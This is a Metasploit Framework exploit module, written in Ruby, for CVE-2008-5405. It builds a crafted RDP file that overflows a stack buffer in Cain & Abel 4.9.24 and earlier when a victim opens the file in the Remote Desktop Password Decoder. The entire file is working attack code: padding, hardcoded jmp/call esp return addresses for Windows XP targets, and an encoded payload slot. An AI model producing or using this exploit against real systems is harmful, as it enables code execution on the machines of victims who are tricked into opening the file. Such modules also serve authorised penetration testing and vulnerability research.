modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Cain and Abel RDP Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
and below. An attacker must send the file to victim, and the victim must open
the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
'References' =>
[
[ 'CVE', '2008-5405' ],
[ 'OSVDB', '50342' ],
[ 'EDB', '7329' ],
[ 'BID', '32543' ]
],
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'AllowWin32SEH' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested ok aushack 20090503
[ 'Windows XP SP2 English', { 'Ret' => 0x7c82385d } ], #call esp
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ], #jmp esp
[ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
],
'Privileged' => false,
'DisclosureDate' => '2008-11-30',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']),
])
end
def exploit
filerdp = rand_text_alpha_upper(8206)
filerdp << [target.ret].pack('V') + [target.ret].pack('V')
filerdp << payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(filerdp)
end
end